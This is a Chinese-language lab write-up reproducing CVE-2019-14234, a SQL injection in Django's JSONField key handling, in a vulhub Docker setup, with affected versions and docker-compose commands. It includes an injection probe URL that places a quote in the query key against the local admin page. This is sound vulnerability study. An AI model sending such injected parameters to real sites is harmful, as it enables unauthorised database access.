声明
好好学习,天天向上
漏洞描述
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。
Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
通过JSONField类获得KeyTransform类并生成sql语句的位置。
影响范围
Django 主开发分支
Django 2.2.x < 2.2.4
Django 2.1.x < 2.1.11
Django 1.11.x < 1.11.23
复现过程
这里使用2.2.3版本
使用vulhub
cd /app/vulhub-master/django/CVE-2019-14234
使用docker启动
docker-compose up -d
环境启动后,访问http://your-ip:8000
http://192.168.239.129:8000
访问,进入后台http://your-ip:8000/admin/
,用户名密码为admin
、a123123123
。
http://192.168.239.129:8000/admin/
进入模型Collection
的管理页面http://your-ip:8000/admin/vuln/collection/
:
http://192.168.239.129:8000/admin/vuln/collection/
然后在GET参数中构造detail__a'b=123
提交,其中detail
是模型Collection
中的JSONField:
http://192.168.239.129:8000/admin/vuln/collection/?detail__a%27b=123
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down